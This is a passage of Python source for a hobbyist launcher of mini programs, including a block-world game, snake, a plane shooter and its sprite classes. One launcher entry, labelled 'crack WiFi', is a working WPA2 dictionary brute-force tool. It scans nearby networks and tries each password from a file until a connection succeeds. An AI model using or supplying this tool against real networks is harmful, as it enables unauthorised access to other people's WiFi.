x, y : int
The coordinates of the mouse click. Always center of the screen if
the mouse is captured.
dx, dy : float
The movement of the mouse.
"""
if self.exclusive:
m = 0.15
x, y = self.rotation
x, y = x + dx * m, y + dy * m
y = max(-90, min(90, y))
self.rotation = (x, y)
def on_key_press(self, symbol, modifiers):
""" Called when the player presses a key. See pyglet docs for key
mappings.
Parameters
----------
symbol : int
Number representing the key that was pressed.
modifiers : int
Number representing any modifying keys that were pressed.
"""
if symbol == key.W:
self.strafe[0] -= 1
elif symbol == key.S:
self.strafe[0] += 1
elif symbol == key.A:
self.strafe[1] -= 1
elif symbol == key.D:
self.strafe[1] += 1
elif symbol == key.SPACE:
if self.dy == 0:
self.dy = JUMP_SPEED
elif symbol == key.ESCAPE:
self.set_exclusive_mouse(False)
elif symbol == key.TAB:
self.flying = not self.flying
elif symbol in self.num_keys:
index = (symbol - self.num_keys[0]) % len(self.inventory)
self.block = self.inventory[index]
def on_key_release(self, symbol, modifiers):
""" Called when the player releases a key. See pyglet docs for key
mappings.
Parameters
----------
symbol : int
Number representing the key that was pressed.
modifiers : int
Number representing any modifying keys that were pressed.
"""
if symbol == key.W:
self.strafe[0] += 1
elif symbol == key.S:
self.strafe[0] -= 1
elif symbol == key.A:
self.strafe[1] += 1
elif symbol == key.D:
self.strafe[1] -= 1
def on_resize(self, width, height):
""" Called when the window is resized to a new `width` and `height`.
"""
# label
self.label.y = height - 10
# reticle
if self.reticle:
self.reticle.delete()
x, y = self.width // 2, self.height // 2
n = 10
self.reticle = pyglet.graphics.vertex_list(4,
('v2i', (x - n, y, x + n,
y, x, y - n, x, y + n))
)
def set_2d(self):
""" Configure OpenGL to draw in 2d.
"""
width, height = self.get_size()
glDisable(GL_DEPTH_TEST)
viewport = self.get_viewport_size()
glViewport(0, 0, max(1, viewport[0]), max(1, viewport[1]))
glMatrixMode(GL_PROJECTION)
glLoadIdentity()
glOrtho(0, max(1, width), 0, max(1, height), -1, 1)
glMatrixMode(GL_MODELVIEW)
glLoadIdentity()
def set_3d(self):
""" Configure OpenGL to draw in 3d.
"""
width, height = self.get_size()
glEnable(GL_DEPTH_TEST)
viewport = self.get_viewport_size()
glViewport(0, 0, max(1, viewport[0]), max(1, viewport[1]))
glMatrixMode(GL_PROJECTION)
glLoadIdentity()
gluPerspective(65.0, width / float(height), 0.1, 60.0)
glMatrixMode(GL_MODELVIEW)
glLoadIdentity()
x, y = self.rotation
glRotatef(x, 0, 1, 0)
glRotatef(-y, math.cos(math.radians(x)), 0, math.sin(math.radians(x)))
x, y, z = self.position
glTranslatef(-x, -y, -z)
def on_draw(self):
""" Called by pyglet to draw the canvas.
"""
self.clear()
self.set_3d()
glColor3d(1, 1, 1)
self.model.batch.draw()
self.draw_focused_block()
self.set_2d()
self.draw_label()
self.draw_reticle()
def draw_focused_block(self):
""" Draw black edges around the block that is currently under the
crosshairs.
"""
vector = self.get_sight_vector()
block = self.model.hit_test(self.position, vector)[0]
if block:
x, y, z = block
vertex_data = cube_vertices(x, y, z, 0.51)
glColor3d(0, 0, 0)
glPolygonMode(GL_FRONT_AND_BACK, GL_LINE)
pyglet.graphics.draw(24, GL_QUADS, ('v3f/static', vertex_data))
glPolygonMode(GL_FRONT_AND_BACK, GL_FILL)
def draw_label(self):
""" Draw the label in the top left of the screen.
"""
x, y, z = self.position
self.label.text = '%02d (%.2f, %.2f, %.2f) %d / %d' % (
pyglet.clock.get_fps(), x, y, z,
len(self.model._shown), len(self.model.world))
self.label.draw()
def draw_reticle(self):
""" Draw the crosshairs in the center of the screen.
"""
glColor3d(0, 0, 0)
self.reticle.draw(GL_LINES)
def setup_fog():
""" Configure the OpenGL fog properties.
"""
# Enable fog. Fog "blends a fog color with each rasterized pixel fragment's
# post-texturing color."
glEnable(GL_FOG)
# Set the fog color.
glFogfv(GL_FOG_COLOR, (GLfloat * 4)(0.5, 0.69, 1.0, 0))
# Say we have no preference between rendering speed and quality.
glHint(GL_FOG_HINT, GL_DONT_CARE)
# Specify the equation used to compute the blending factor.
glFogi(GL_FOG_MODE, GL_LINEAR)
# How close and far away fog starts and ends. The closer the start and end,
# the denser the fog in the fog range.
glFogf(GL_FOG_START, 20.0)
glFogf(GL_FOG_END, 60.0)
def setup():
""" Basic OpenGL configuration.
"""
# Set the color of "clear", i.e. the sky, in rgba.
glClearColor(0.5, 0.69, 1.0, 1)
# Enable culling (not rendering) of back-facing facets -- facets that aren't
# visible to you.
glEnable(GL_CULL_FACE)
# Set the texture minification/magnification function to GL_NEAREST (nearest
# in Manhattan distance) to the specified texture coordinates. GL_NEAREST
# "is generally faster than GL_LINEAR, but it can produce textured images
# with sharper edges because the transition between texture elements is not
# as smooth."
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST)
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST)
setup_fog()
def main():
window = Window(width=800, height=450, caption='Pyglet', resizable=True)
# Hide the mouse cursor and prevent the mouse from leaving the window.
window.set_exclusive_mouse(True)
setup()
pyglet.app.run()
if __name__ == '__main__':
main()
def my8():
class MY_GUI():
def __init__(self,init_window_name):
self.init_window_name = init_window_name
#密码文件路径
self.get_value = StringVar() # 设置可变内容
#获取破解wifi账号
self.get_wifi_value = StringVar()
#获取wifi密码
self.get_wifimm_value = StringVar()
self.wifi = pywifi.PyWiFi() #抓取网卡接口
self.iface = self.wifi.interfaces()[0] #抓取第一个无线网卡
self.iface.disconnect() #测试链接断开所有链接
time.sleep(1) #休眠1秒
#测试网卡是否属于断开状态
assert self.iface.status() in\
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
def __str__(self):
# 自动会调用的函数,返回自身的网卡
return '(WIFI:%s,%s)' % (self.wifi,self.iface.name())
#设置窗口
def set_init_window(self):
self.init_window_name.title("WIFI破解工具")
self.init_window_name.geometry('+500+200')
labelframe = LabelFrame(width=400, height=200,text="配置") # 框架,以下对象都是对于labelframe中添加的
labelframe.grid(column=0, row=0, padx=10, pady=10)
self.search = Button(labelframe,text="搜索附近WiFi",command=self.scans_wifi_list).grid(column=0,row=0)
self.pojie = Button(labelframe,text="开始破解",command=self.readPassWord).grid(column=1,row=0)
self.label = Label(labelframe,text="目录路径:").grid(column=0,row=1)
self.path = Entry(labelframe,width=12,textvariable = self.get_value).grid(column=1,row=1)
self.file = Button(labelframe,text="添加密码文件目录",command=self.add_mm_file).grid(column=2,row=1)
self.wifi_text = Label(labelframe,text="WiFi账号:").grid(column=0,row=2)
self.wifi_input = Entry(labelframe,width=12,textvariable = self.get_wifi_value).grid(column=1,row=2)
self.wifi_mm_text = Label(labelframe,text="WiFi密码:").grid(column=2,row=2)
self.wifi_mm_input = Entry(labelframe,width=10,textvariable = self.get_wifimm_value).grid(column=3,row=2,sticky=W)
self.wifi_labelframe = LabelFrame(text="wifi列表")
self.wifi_labelframe.grid(column=0, row=3,columnspan=4,sticky=NSEW)
# 定义树形结构与滚动条
self.wifi_tree = ttk.Treeview(self.wifi_labelframe,show="headings",columns=("a", "b", "c", "d"))
self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)
self.wifi_tree.configure(yscrollcommand=self.vbar.set)
# 表格的标题
self.wifi_tree.column("a", width=50, anchor="center")
self.wifi_tree.column("b", width=100, anchor="center")
self.wifi_tree.column("c", width=100, anchor="center")
self.wifi_tree.column("d", width=100, anchor="center")
self.wifi_tree.heading("a", text="WiFiID")
self.wifi_tree.heading("b", text="SSID")
self.wifi_tree.heading("c", text="BSSID")
self.wifi_tree.heading("d", text="signal")
self.wifi_tree.grid(row=4,column=0,sticky=NSEW)
self.wifi_tree.bind("<Double-1>",self.onDBClick)
self.vbar.grid(row=4,column=1,sticky=NS)
#搜索wifi
#cmd /k C:\Python27\python.exe "$(FULL_CURRENT_PATH)" & PAUSE & EXIT
def scans_wifi_list(self): # 扫描周围wifi列表
#开始扫描
print("^_^ 开始扫描附近wifi...")
self.iface.scan()
time.sleep(15)
#在若干秒后获取扫描结果
scanres = self.iface.scan_results()
#统计附近被发现的热点数量
nums = len(scanres)
print("数量: %s"%(nums))
#print ("| %s | %s | %s | %s"%("WIFIID","SSID","BSSID","signal"))
# 实际数据
self.show_scans_wifi_list(scanres)
return scanres
#显示wifi列表
def show_scans_wifi_list(self,scans_res):
for index,wifi_info in enumerate(scans_res):
# print("%-*s| %s | %*s |%*s\n"%(20,index,wifi_info.ssid,wifi_info.bssid,,wifi_info.signal))
self.wifi_tree.insert("",'end',values=(index + 1,wifi_info.ssid,wifi_info.bssid,wifi_info.signal))
#print("| %s | %s | %s | %s \n"%(index,wifi_info.ssid,wifi_info.bssid,wifi_info.signal))
#添加密码文件目录
def add_mm_file(self):
self.filename = tkinter.filedialog.askopenfilename()
self.get_value.set(self.filename)
#Treeview绑定事件
def onDBClick(self,event):
self.sels= event.widget.selection()
self.get_wifi_value.set(self.wifi_tree.item(self.sels,"values")[1])
#print("you clicked on",self.wifi_tree.item(self.sels,"values")[1])
#读取密码字典,进行匹配
def readPassWord(self):
self.getFilePath = self.get_value.get()
self.get_wifissid = self.get_wifi_value.get()
pwdfilehander=open(self.getFilePath,"r",errors="ignore")
while True:
try:
self.pwdStr=pwdfilehander.readline()
if not self.pwdStr:
break
self.bool1=self.connect(self.pwdStr,self.get_wifissid)
if self.bool1:
self.res = "===正确=== wifi名:%s 匹配密码:%s "%(self.get_wifissid,self.pwdStr)
self.get_wifimm_value.set(self.pwdStr)
tkinter.messagebox.showinfo('提示', '破解成功!!!')
print(self.res)
break
else:
self.res = "---错误--- wifi名:%s匹配密码:%s"%(self.get_wifissid,self.pwdStr)
print(self.res)
sleep(3)
except:
continue
#对wifi和密码进行匹配
def connect(self,pwd_Str,wifi_ssid):
#创建wifi链接文件
self.profile = pywifi.Profile()
self.profile.ssid =wifi_ssid #wifi名称
self.profile.auth = const.AUTH_ALG_OPEN #网卡的开放
self.profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
self.profile.cipher = const.CIPHER_TYPE_CCMP #加密单元
self.profile.key = pwd_Str #密码
self.iface.remove_all_network_profiles() #删除所有的wifi文件
self.tmp_profile = self.iface.add_network_profile(self.profile)#设定新的链接文件
self.iface.connect(self.tmp_profile)#链接
time.sleep(5)
if self.iface.status() == const.IFACE_CONNECTED: #判断是否连接上
isOK=True
else:
isOK=False
self.iface.disconnect() #断开
time.sleep(1)
#检查断开状态
assert self.iface.status() in\
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
return isOK
def gui_start():
init_window = Tk()
ui = MY_GUI(init_window)
print(ui)
ui.set_init_window()
#ui.scans_wifi_list()
init_window.mainloop()
gui_start()
def my9():
pygame.init()
fpsClock = pygame.time.Clock()
WINDOW = pygame.display.set_mode((400, 300))
pygame.display.set_caption('贪吃蛇')
BLACK = pygame.Color(0, 0, 0)
WHITE = pygame.Color(255, 255, 255)
RED = pygame.Color(255, 0, 0)
snake_position = [100, 50]
snake_body = [[100, 50], [90, 50], [80, 50]]
food_position = [300, 150]
food_spawn = True
direction = 'RIGHT'
change_to = direction
def game_over():
pygame.quit()
sys.exit()
while True:
for event in pygame.event.get():
if event.type == QUIT:
game_over()
elif event.type == KEYDOWN:
if event.key == K_RIGHT or event.key == ord('d'):
change_to = 'RIGHT'
if event.key == K_LEFT or event.key == ord('a'):
change_to = 'LEFT'
if event.key == K_UP or event.key == ord('w'):
change_to = 'UP'
if event.key == K_DOWN or event.key == ord('s'):
change_to = 'DOWN'
if event.key == K_ESCAPE:
pygame.event.post(pygame.event.Event(QUIT))
if change_to == 'RIGHT' and not direction == 'LEFT':
direction = 'RIGHT'
if change_to == 'LEFT' and not direction == 'RIGHT':
direction = 'LEFT'
if change_to == 'UP' and not direction == 'DOWN':
direction = 'UP'
if change_to == 'DOWN' and not direction == 'UP':
direction = 'DOWN'
if direction == 'RIGHT':
snake_position[0] += 10
if direction == 'LEFT':
snake_position[0] -= 10
if direction == 'UP':
snake_position[1] -= 10
if direction == 'DOWN':
snake_position[1] += 10
snake_body.insert(0, list(snake_position))
if snake_position[0] == food_position[0] and snake_position[1] == food_position[1]:
food_spawn = False
else:
snake_body.pop()
if not food_spawn:
food_position = [ra.randint(0,39)*10, ra.randint(0,29)*10]
food_spawn = True
WINDOW.fill(BLACK)
for pos in snake_body:
pygame.draw.rect(WINDOW, RED, pygame.Rect(
pos[0], pos[1], 10, 10))
pygame.draw.rect(WINDOW, WHITE, pygame.Rect(
food_position[0], food_position[1], 10, 10))
if snake_position[0] >= 400 or snake_position[0] < 0:
game_over()
if snake_position[1] >= 300 or snake_position[1] < 0:
game_over()
for block in snake_body[1:]:
if snake_position[0] == block[0] and snake_position[1] == block[1]:
game_over()
pygame.display.update()
fpsClock.tick(12)
def my10():
"""飞机大战主游戏"""
class PlaneGame(object):
"""飞机大战主游戏"""
def __init__(self):
# print("游戏初始化")
# 1.创建游戏的窗口
self.screen = pygame.display.set_mode(SCREEN_RECT.size)
# 2.创建游戏的时钟
self.clock = pygame.time.Clock()
# 3.调用私有方法,精灵和精灵组的创建
self.__create_spites()
# 4.设置定时器事件——创建敌机 ls
pygame.time.set_timer(CREAT_ENEMY_EVENT, 1000)
pygame.time.set_timer(HERO_FIRE_EVENT, 500)
def __create_spites(self):
# 创建背景精灵和精灵组
bg1 = Background()
bg2 = Background(True)
self.back_group = pygame.sprite.Group(bg1, bg2)
# 创建敌机的精灵组
self.enemy_group = pygame.sprite.Group()
# 创建英雄的精灵和精灵组
self.hero = Hero()
self.hero_group = pygame.sprite.Group(self.hero)
def start_game(self):
print("游戏开始...")
while True:
# 1.设置刷新帧率
self.clock.tick(FRAME_PER_SEC)
# 2.事件监听
self.__event_handler()
# 3.碰撞检测
self.__check_collide()
# 4.更新/绘制精灵组
self.__update_sprites()
# 5.更新显示
pygame.display.update()
def __event_handler(self):
for event in pygame.event.get():
# 判断是否退出游戏
if event.type == pygame.QUIT:
PlaneGame.__game_over()
elif event.type == CREAT_ENEMY_EVENT:
# print("敌机出场...")
# 床架敌机精灵
enemy = Enemy()
# 将敌机精灵添加到敌机精灵组
self.enemy_group.add(enemy)
elif event.type == HERO_FIRE_EVENT:
self.hero.fire()
# elif event.type == pygame.KEYDOWN and event.key == pygame.K_RIGHT:
# print("向右移动...")
# 使用键盘提供的方法获取键盘按键 - 按键元组
keys_presed = pygame.key.get_pressed()
# 判断元组中对应的按键索引值 1
if keys_presed[pygame.K_RIGHT]:
self.hero.speed = 2
elif keys_presed[pygame.K_LEFT]:
self.hero.speed = -2
else:
self.hero.speed = 0
def __check_collide(self):
# 1.子弹摧毁敌机
pygame.sprite.groupcollide(self.hero.bullets, self.enemy_group, True, True)
# 2.敌机撞毁英雄
enemies = pygame.sprite.spritecollide(self.hero, self.enemy_group, True)
# 3.判断列表是否有内容
if len(enemies) > 0:
# 让英雄牺牲
self.hero.kill()
# 结束游戏
PlaneGame.__game_over()
def __update_sprites(self):
self.back_group.update()
self.back_group.draw(self.screen)
self.enemy_group.update()
self.enemy_group.draw(self.screen)
self.hero_group.update()
self.hero_group.draw(self.screen)
self.hero.bullets.update()
self.hero.bullets.draw(self.screen)
@staticmethod
def __game_over():
print("游戏结束")
pygame.quit()
exit()
if __name__ == '__main__':
# 创建游戏对象
game = PlaneGame()
# 启动游戏
game.start_game()
m1=tk.Button(xin, text='计算器', command=my1)
m1.pack()
m2=tk.Button(xin, text='五子棋', command=my2)
m2.pack()
m3=tk.Button(xin, text='记事本', command=my3)
m3.pack()
m4=tk.Button(xin, text='打字游戏', command=my4)
m4.pack()
m5=tk.Button(xin, text='扫雷', command=my5)
m5.pack()
m6=tk.Button(xin, text='俄罗斯方块', command=my6)
m6.pack()
m7=tk.Button(xin, text='我的世界', command=my7)
m7.pack()
m8=tk.Button(xin, text='破解wifi', command=my8)
m8.pack()
m9=tk.Button(xin, text='贪吃蛇', command=my9)
m9.pack()
m10=tk.Button(xin, text='飞机大战', command=my10)
m10.pack()
xin.mainloop()
'''
plane_sprites.py
'''
# -*- coding: utf-8 -*-
# @Time :2020/2/24 下午5:13
# @Author :messi
# @FileName:plane_sprites.py
# @Software:PyCharm
import random
import pygame
# 屏幕大小的常量
SCREEN_RECT = pygame.Rect(0, 0, 480, 700)
# 刷新帧率
FRAME_PER_SEC = 60
# 创建敌机的定时器常量
CREAT_ENEMY_EVENT = pygame.USEREVENT
# 英雄发射子弹事件
HERO_FIRE_EVENT = pygame.USEREVENT + 1
"""飞机大战游戏精灵"""
class GameSprite(pygame.sprite.Sprite):
"""飞机大战游戏精灵"""
def __init__(self, image_name, speed=1):
# 调用父类的初始化方法
super().__init__()
# 定义对象的属性
self.image = pygame.image.load(image_name)
self.rect = self.image.get_rect()
self.speed = speed
def update(self):
# 在屏幕的垂直方向上移动
self.rect.y += self.speed
"""游戏背景精灵"""
class Background(GameSprite):
"""游戏背景精灵"""
def __init__(self, is_alt=False):
# 1.调用父类方法实现精灵的创建(image/rect/speed)
super().__init__("./images/background.png")
# 2.判断是否是交替图像,如果是,需要设置初始位置
if is_alt:
self.rect.y = -self.rect.height
def update(self):
# 1.调用父类的方法实现
super().update()
# 2.判断是否移出屏幕,如果移出屏幕,讲图像设置到屏幕的上方
if self.rect.y >= SCREEN_RECT.height:
self.rect.y = -self.rect.height
"""敌机精灵"""
class Enemy(GameSprite):
"""敌机精灵"""
def __init__(self):
# 1.调用父类方法,创建敌机精灵,同时指定敌机图片
super().__init__("./images/enemy1.png")
# 2.指定敌机的初始速度 1-3
self.speed = random.randint(1, 3)
# 3.指定敌机的初始随机位置
self.rect.bottom = 0
max_x = SCREEN_RECT.width - self.rect.width
self.rect.x = random.randint(0, max_x)
def update(self):
# 1.调用父类方法,保持垂直方向的飞行
super().update()
# 2.判断是否飞出屏幕,如果是,需要从精灵组中删除敌机
if self.rect.y >= SCREEN_RECT.height:
# print("飞出屏幕,需要从精灵组中删除...")
# kill方法可以将精灵从所有精灵组中移出,精灵就会被自动销毁
self.kill()
def __del__(self):
# print("敌机挂了%s" % self.rect)
pass
"""英雄精灵"""
class Hero(GameSprite):
"""英雄精灵"""
def __init__(self):
# 1.调用父类方法,设置image&speed
super().__init__("./images/me1.png", 0)
# 2.设置英雄的初始位置
self.rect.centerx = SCREEN_RECT.centerx
self.rect.bottom = SCREEN_RECT.bottom - 120
# 3.创建子弹的精灵组
self.bullets = pygame.sprite.Group()
def update(self):
# 英雄在水平方向移动
self.rect.x += self.speed
# 控制英雄不能离开屏幕
if self.rect.x < 0:
self.rect.x = 0
elif self.rect.right > SCREEN_RECT.right:
self.rect.right = SCREEN_RECT.right
def fire(self):
# print("发射子弹...")
for i in (0, 1, 2):
# 1.创建子弹精灵
bullet = Bullet()
# 2.设置精灵位置
bullet.rect.bottom = self.rect.y - i * 20
bullet.rect.centerx = self.rect.centerx
# 3.将精灵添加到精灵组
self.bullets.add(bullet)
"""子弹精灵"""
class Bullet(GameSprite):
"""子弹精灵"""
def __init__(self):
super().__init__("./images/bullet1.png", -2)
def update(self):
# 调用父类方法,让子弹沿垂直方向飞行
super().update()
# 判断子弹是否飞出屏幕
if self.rect.bottom < 0:
self.kill()
def __del__(self):
# print("子弹被销毁...")
pass